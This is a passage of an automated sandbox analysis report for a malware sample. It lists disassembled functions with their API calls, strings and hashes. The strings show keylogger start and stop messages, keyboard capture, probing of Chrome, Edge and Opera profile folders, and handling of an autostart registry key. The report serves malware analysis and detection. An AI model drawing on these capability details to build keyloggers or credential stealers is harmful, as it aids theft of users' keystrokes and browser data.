Instruction ID: 9888498cdde91148660d73044e1a3881d39d283966e04ac8210fc9ec491036e1
Opcode Fuzzy Hash: 6ae80bc768c13407965010df726ddf66c5a4fc0bc147dae96c0e866f6119d20c
Instruction Fuzzy Hash: E321F039D105198ACB18EBB0DC909EEBF7BAF64211F90046DD61A57191EF30BD4ECA80

Uniqueness

Uniqueness Score: -1.00%

Function 16071B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,16071D92,?,00000050,?,?,?,?,?), ref: 16071C12

Strings

OCP, xrefs: 16071B8B
ACP, xrefs: 16071B55

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: eb0ce5337ff6a61886919dea85f9071e1eb08c94ae08bf4b6f1d5260d3c97a4a
Instruction ID: 109a1878cd911e65669763d69ef16f471b15d1f983e0e0ed3f39da749f67a70a
Opcode Fuzzy Hash: eb0ce5337ff6a61886919dea85f9071e1eb08c94ae08bf4b6f1d5260d3c97a4a
Instruction Fuzzy Hash: 6621DB62E14105A6D314CB94CD01BCB7AEBDF44A67F4A45E4E985D7380F731FA48C398

Uniqueness

Uniqueness Score: -1.00%

Function 03F61C6C Relevance: 5.3, APIs: 4, Instructions: 330COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1038c072c0af05e819c5f5bb6aa03ab4284327d6fa73bad3369cd3d585f2e49
Instruction ID: 1dbc62f789caa940530e34d944673a1ae7f33cb550555ab1be041fe05347ba16
Opcode Fuzzy Hash: a1038c072c0af05e819c5f5bb6aa03ab4284327d6fa73bad3369cd3d585f2e49
Instruction Fuzzy Hash: 38A1E56AB107050BE718EA7C9D943BDB3D9DFC4261F2C827EE115CB386EB68C9458390

Uniqueness

Uniqueness Score: -1.00%

Function 03F694A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,03F69596), ref: 03F6952E
GetDateFormatA.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,03F69596), ref: 03F69534

Strings

yyyy, xrefs: 03F69509

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: yyyy
API String ID: 3303714858-3145165042
Opcode ID: e39b76b5369b5ea361e1e737f57c3d3ddb4345454979416ed565aab666342097
Instruction ID: ca1857c9dc5b649345fa3d51632ad39224374643f084b65213cee864a02c26ca
Opcode Fuzzy Hash: e39b76b5369b5ea361e1e737f57c3d3ddb4345454979416ed565aab666342097
Instruction Fuzzy Hash: 63217F75A01218AFDB11EF69D961AEEB3F8EF48710F5100A6E904EB240E770DE40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 16038B8F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

SHCreateMemStream.SHLWAPI(00000000,00000000,?,?,?,00000000), ref: 16038BAA

Part of subcall function 16038656: GdipLoadImageFromStream.GDIPLUS(?,?,?,16038AD1,00000000,?,?,?,?,00000000), ref: 1603866A

SHCreateMemStream.SHLWAPI(00000000,00000000,00000000,?,?,?,?,00000000), ref: 16038BCF

Part of subcall function 160386CB: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,16038B27,00000000,?,?), ref: 160386DD

Part of subcall function 16038679: GdipDisposeImage.GDIPLUS(?,16038B82), ref: 16038682

Strings

image/png, xrefs: 16038BC1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Stream$GdipImage$Create$DisposeFromLoadSave
String ID: image/png
API String ID: 1291196975-2966254431
Opcode ID: 5a6898279eab1a5f1c35df9b4fe4a7006cd4c04dfbe562561f5f275d69ee4b43
Instruction ID: 00b41729389b94609fe55d6592a469fb370b8ded309d30822c0723dd99efc425
Opcode Fuzzy Hash: 5a6898279eab1a5f1c35df9b4fe4a7006cd4c04dfbe562561f5f275d69ee4b43
Instruction Fuzzy Hash: B421A275604211AFC705EB60CC88CAFBFBEEF8A611F11095DF54693250DB35AA49CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 16024FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,16095598,?,00000000,?,?,?,?,?,?,16035CC9,?,00000001,0000004C,00000000), ref: 16025030

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

GetLocalTime.KERNEL32(?,16095598,?,00000000,?,?,?,?,?,?,16035CC9,?,00000001,0000004C,00000000), ref: 16025087

Strings

KeepAlive | Enabled | Timeout: , xrefs: 1602501F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 481472006-1507639952
Opcode ID: a6b75a331d8984de6e65c05b45d716ba5245ced23ee9695cd7fc8e8d0406f204
Instruction ID: 5544ea5d52b75c9403fd5f9b1d2b4e862a2b260e46c0b0d2ab92688ba18b1c3a
Opcode Fuzzy Hash: a6b75a331d8984de6e65c05b45d716ba5245ced23ee9695cd7fc8e8d0406f204
Instruction Fuzzy Hash: 42210165D042901BD70AE732CCD472E7FABBB7220AF80051DE98A07185DB276A4CC7E7

Uniqueness

Uniqueness Score: -1.00%

Function 1603B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(00000000), ref: 1603B509

Strings

| , xrefs: 1603B53C
%02i:%02i:%02i:%03i , xrefs: 1603B51E

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: | $%02i:%02i:%02i:%03i
API String ID: 481472006-2430845779
Opcode ID: 6c72e306e54001a4795c0081660938c6dcd6b519fbaafb9a0d5e5d4d5a96c740
Instruction ID: 11dc7713e0afdd3ddd069bd0124295e40585706eeae34409924ef2e4f944b9ba
Opcode Fuzzy Hash: 6c72e306e54001a4795c0081660938c6dcd6b519fbaafb9a0d5e5d4d5a96c740
Instruction Fuzzy Hash: 6611827A4182045BC304EB61EC409FFBBEAAF54601F900A6DF5A6831D0EF34EA4DC756

Uniqueness

Uniqueness Score: -1.00%

Function 1602B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 1602B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,160950F0), ref: 1602B172
Part of subcall function 1602B164: wsprintfW.USER32 ref: 1602B1F3

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

CloseHandle.KERNEL32(?), ref: 1602B0B4
UnhookWindowsHookEx.USER32 ref: 1602B0C7

Strings

Online Keylogger Stopped, xrefs: 1602B061, 1602B069, 1602B090

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
String ID: Online Keylogger Stopped
API String ID: 1623830855-1496645233
Opcode ID: e51a4eecc2462269472d86f1bb88fcc7d61fad5d9b81fe6a639569d246fcd8fe
Instruction ID: 69118b508d28136bcbb51c568b30a3f44ab6add1f07a3ce0f3fc420136355c35
Opcode Fuzzy Hash: e51a4eecc2462269472d86f1bb88fcc7d61fad5d9b81fe6a639569d246fcd8fe
Instruction Fuzzy Hash: F301F138A006555BD722EBB4CC5A7AE7FB69F52205FC0005DD586065C6EB62248DC7D2

Uniqueness

Uniqueness Score: -1.00%

Function 1602C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Google\Chrome\,00000000), ref: 1602C4F6

Strings

UserProfile, xrefs: 1602C4CA
\AppData\Local\Google\Chrome\, xrefs: 1602C4E0

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Google\Chrome\
API String ID: 1174141254-4188645398
Opcode ID: 21f6058fd7f5cf7fb82684c616aa18bdf26435d4d0cb112fc0c03c32058af14b
Instruction ID: e933aee011da31c16597de7406e4d7dc49a3212bd6342c978fff4f7c54c34d2d
Opcode Fuzzy Hash: 21f6058fd7f5cf7fb82684c616aa18bdf26435d4d0cb112fc0c03c32058af14b
Instruction Fuzzy Hash: 99F08239D00229568A04E7F4DC468FFBF7D9D14152BC1056EAA05A6186EF10E88DC6E1

Uniqueness

Uniqueness Score: -1.00%

Function 1602C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\AppData\Local\Microsoft\Edge\,00000000), ref: 1602C559

Strings

\AppData\Local\Microsoft\Edge\, xrefs: 1602C543
UserProfile, xrefs: 1602C52D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Microsoft\Edge\
API String ID: 1174141254-2800177040
Opcode ID: c14f046e94fd7be7342c8736e39df6f341767cc61ff4809935caf6a5c10a8630
Instruction ID: acc1559e62eda2f00b1cda69991e2a492fd28d8f79305930430704a4f99d414c
Opcode Fuzzy Hash: c14f046e94fd7be7342c8736e39df6f341767cc61ff4809935caf6a5c10a8630
Instruction Fuzzy Hash: CDF0A739D10229568B04F7F4CC468FFBF7DAE20112FC1055DAA0266185EF20F88DC6E1

Uniqueness

Uniqueness Score: -1.00%

Function 1602C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000,\Opera Software\Opera Stable\,00000000), ref: 1602C5BC

Strings

\Opera Software\Opera Stable\, xrefs: 1602C5A6
AppData, xrefs: 1602C590

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: AppData$\Opera Software\Opera Stable\
API String ID: 1174141254-1629609700
Opcode ID: 67b631d8b393e95b8d442ae43d2b996051437567b47db1751eb6bc6b443ae94a
Instruction ID: a9ca1119a566f94301f1368e6f1f57ca326e75e372eebd1dc15b851132e607ab
Opcode Fuzzy Hash: 67b631d8b393e95b8d442ae43d2b996051437567b47db1751eb6bc6b443ae94a
Instruction Fuzzy Hash: 71F08239D10229968A04E7F4CC458FFBF7DAD10102BC1015DAA0666085EF10F88DC6E1

Uniqueness

Uniqueness Score: -1.00%

Function 1602B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 1602B64B

Part of subcall function 1602A3E0: GetForegroundWindow.USER32 ref: 1602A416
Part of subcall function 1602A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 1602A422
Part of subcall function 1602A3E0: GetKeyboardLayout.USER32(00000000), ref: 1602A429
Part of subcall function 1602A3E0: GetKeyState.USER32(00000010), ref: 1602A433
Part of subcall function 1602A3E0: GetKeyboardState.USER32(?), ref: 1602A43E
Part of subcall function 1602A3E0: ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 1602A461
Part of subcall function 1602A3E0: ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 1602A4C1

Part of subcall function 1602A636: SetEvent.KERNEL32(00000000,?,00000000,1602B20A,00000000), ref: 1602A662

Strings

[AltR], xrefs: 1602B681
[AltL], xrefs: 1602B68D

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
String ID: [AltL]$[AltR]
API String ID: 2738857842-2658077756
Opcode ID: 6fc7c1e9feee9a1f657e20b3cf459935ede6c09c2bcd46bb76ea1b29a5d01a7f
Instruction ID: 065bb1dd136eed76712b2856f75262e47dbf2232d03e97184036ca81248b83e5
Opcode Fuzzy Hash: 6fc7c1e9feee9a1f657e20b3cf459935ede6c09c2bcd46bb76ea1b29a5d01a7f
Instruction Fuzzy Hash: 97E06D35A0092012C918F33D5EAE6AD2F968F42954FC2018DE8865B689DF5E998DC2C6

Uniqueness

Uniqueness Score: -1.00%

Function 1602B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000012), ref: 1602B6A5

Strings

[CtrlR], xrefs: 1602B6C2
[CtrlL], xrefs: 1602B6D3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: State
String ID: [CtrlL]$[CtrlR]
API String ID: 1649606143-2446555240
Opcode ID: d53b5426cc991fbb3d122458bafb223c3b46e6dde3bed3f2e3377b763bfa8020
Instruction ID: 823db122e4f29c06936c79291bbd1f00bef8fadd8e44f9494c2689ca37a4014b
Opcode Fuzzy Hash: d53b5426cc991fbb3d122458bafb223c3b46e6dde3bed3f2e3377b763bfa8020
Instruction Fuzzy Hash: 2FE04F25E0052112C514E6394E9D66C2F558F41555FC2014DE8828BA89DF4A955C83C2

Uniqueness

Uniqueness Score: -1.00%

Function 16033A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\,00000000,00000002,?,80000002,80000002,1602D4CE,00000000,?,00000000), ref: 16033A31
RegDeleteValueW.ADVAPI32(?,?,?,00000000), ref: 16033A45

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 16033A2F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 2654517830-1051519024
Opcode ID: 9db2fc82bded6e24c87ab81dbb4f56c46bbec59bcae982b943b15ea50333bebb
Instruction ID: c1072e4c6d87c7f7673a6d823d4c2e7865ea79b43a36a152ba64ec0d2f632f71
Opcode Fuzzy Hash: 9db2fc82bded6e24c87ab81dbb4f56c46bbec59bcae982b943b15ea50333bebb
Instruction Fuzzy Hash: AFE0C23165421CBFEF048FB1CC46FBA3B6DDB02B02F000394BB05A2180C6229A1896A0

Uniqueness

Uniqueness Score: -1.00%

Function 16060C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,16021D55), ref: 16060D27
GetLastError.KERNEL32 ref: 16060D35
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 16060D90

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 6bd8e5ccbc04d0c7ef5765bc6107e7a34a105bc46c68fec18209ba2151820baf
Instruction ID: fc783c14ed37cf92c7dd959f00da1fb66be925a3335337db22b025f318867e5c
Opcode Fuzzy Hash: 6bd8e5ccbc04d0c7ef5765bc6107e7a34a105bc46c68fec18209ba2151820baf
Instruction Fuzzy Hash: BB410935A80257AFDB11CF66C944BAA7FF5EF01320F118259FC5BAB190DB70A949C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 16031B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,16031EF0), ref: 16031B8C
IsBadReadPtr.KERNEL32(?,00000014,16031EF0), ref: 16031C58
SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 16031C7A
SetLastError.KERNEL32(0000007E,16031EF0), ref: 16031C91

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 9b568d8a1d564628e0363f40277c05f3880f065329d9272b15f97ffac626d2b5
Instruction ID: 04614381b539fff6050c78f91748e79e5c897fe0ddfdc30914d9dc869a2c2e1a
Opcode Fuzzy Hash: 9b568d8a1d564628e0363f40277c05f3880f065329d9272b15f97ffac626d2b5
Instruction Fuzzy Hash: 40417675A143059FE714CF19DD84B2ABBF9FB48713F00087DE98A8A651EB31E948CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03F79F9C Relevance: 5.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004,?,00000004,?,00000008), ref: 03F79FD0
IsBadWritePtr.KERNEL32(?,00000004,?,00000004,?,00000004,?,00000008), ref: 03F7A000
IsBadReadPtr.KERNEL32(?,00000008), ref: 03F7A01F
IsBadReadPtr.KERNEL32(?,00000004,?,00000008), ref: 03F7A02B

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Read$Write
String ID:
API String ID: 3448952669-0
Opcode ID: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction ID: ba0a37d4dee64f5a3e2ef36d574d4b74bb859bda4bdf6a38b74d5f365f831ba8
Opcode Fuzzy Hash: 3ad3bb96e2a10f813d86af9a74392d0af8acae6b90b2c130b1f55d269701f8a3
Instruction Fuzzy Hash: 6521A275A4031AABDF10CF28DC80BAEB3A8EF84351F058956EE10DB350E735E8118AA4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: Tuscpznj.PIFPID: 2544, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1412
Total number of Limit Nodes:	17

Executed Functions

Function 04037966 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0403799B

Strings

NtAllocateVirtualMemory, xrefs: 0403796B
C:\Windows\System32\ntdll.dll, xrefs: 04037970

Memory Dump Source

Source File: 00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp, Offset: 04021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4021000_Tuscpznj.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 2167126740-2206134580
Opcode ID: 361eb233bfbceed276515041e5108b5770acdcca37b51e7724bf2abc73de895d
Instruction ID: f41ccb36cde180a7fd5c5373895d461231fe8cb83028097b53b9c73b44835f04
Opcode Fuzzy Hash: 361eb233bfbceed276515041e5108b5770acdcca37b51e7724bf2abc73de895d
Instruction Fuzzy Hash: 40E01AB224030CBFDB00DEA8DD45FDA37ACEB08615F408416BA09E7100D674FA108BB5

Uniqueness

Uniqueness Score: -1.00%

Function 04037968 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23
memorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 0403799B

Strings

NtAllocateVirtualMemory, xrefs: 0403796B
C:\Windows\System32\ntdll.dll, xrefs: 04037970

Memory Dump Source

Source File: 00000006.00000002.2272940789.0000000004021000.00000020.00001000.00020000.00000000.sdmp, Offset: 04021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4021000_Tuscpznj.jbxd

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 2167126740-2206134580
Opcode ID: 617256d34e09949c1942b2d2e362a6cc00f45f36ac11bae2344c509403c556e1
Instruction ID: 18cfb86cc6199c3e43d6a359af21fc767a7e84c0ff0007f220968ce5ff9c57fd
Opcode Fuzzy Hash: 617256d34e09949c1942b2d2e362a6cc00f45f36ac11bae2344c509403c556e1
Instruction Fuzzy Hash: 77E01AB214030CBFCB00DEA8DD45FCA37ACEB08615F408416BA09E7100C674FA108BB5

Uniqueness

Uniqueness Score: -1.00%

Function 157932B5 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000003,?,1579328B,00000003,157BE948,0000000C,157933E2,00000003,00000002,00000000,?,15796136,00000003), ref: 157932D6
TerminateProcess.KERNEL32(00000000,?,1579328B,00000003,157BE948,0000000C,157933E2,00000003,00000002,00000000,?,15796136,00000003), ref: 157932DD
ExitProcess.KERNEL32 ref: 157932EF

Memory Dump Source

Source File: 00000006.00000002.2280916321.000000001577F000.00000040.00001000.00020000.00000000.sdmp, Offset: 1577F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1577f000_Tuscpznj.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 4450ea5eda5f7be9992806cc844aa216f792d0caf18019fd520d41efe6edbf92
Instruction ID: 3a9f5f55a34fdc3218bd04e6538197995f2f43980276b6fa936a5a984222183b
Opcode Fuzzy Hash: 4450ea5eda5f7be9992806cc844aa216f792d0caf18019fd520d41efe6edbf92
Instruction Fuzzy Hash: EEE08C35410148EFCF066F64E84FE883B6AFF08362F048114F90A8A160DF3AE952CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1576CB50 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 176
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(157BCC0C,GetProcessImageFileNameW,?,?,?,?,1575E9E1), ref: 1576CB65
LoadLibraryA.KERNEL32(Rstrtmgr,157BCDC8,?,?,?,?,1575E9E1), ref: 1576CD19

Strings

ntdll, xrefs: 1576CBBD, 1576CBC2, 1576CCA1, 1576CCB1, 1576CCE6
Iphlpapi, xrefs: 1576CCC1, 1576CCCB, 1576CCD6
GetProcessImageFileNameW, xrefs: 1576CB5A, 1576CB5F, 1576CB7F
SetProcessDpiAwareness, xrefs: 1576CB8F, 1576CB94, 1576CBA8
`#v, xrefs: 1576CB70
Rstrtmgr, xrefs: 1576CD0E, 1576CD18, 1576CD23, 1576CD33, 1576CD43

Memory Dump Source

Source File: 00000006.00000002.2280916321.0000000015751000.00000040.00001000.00020000.00000000.sdmp, Offset: 15751000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_15751000_Tuscpznj.jbxd

Similarity

API ID: LibraryLoad
String ID: GetProcessImageFileNameW$Iphlpapi$Rstrtmgr$SetProcessDpiAwareness$`#v$ntdll
API String ID: 1029625771-1524027283
Opcode ID: 0903b6fa80c00dc828abd5632106a9aaddf6f83f1d8a93263dd6a5ffcd0c93bd
Instruction ID: 1af8726530a74c42430fa897b2729d235a1d9e9da64d00d3a2e3eed0cada121a
Opcode Fuzzy Hash: 0903b6fa80c00dc828abd5632106a9aaddf6f83f1d8a93263dd6a5ffcd0c93bd
Instruction Fuzzy Hash: ED417DB4D5036F7ADA107BB6CC8FD5F3EADD959295B418817F504A7200DEB994008FB8

Uniqueness

Uniqueness Score: -1.00%
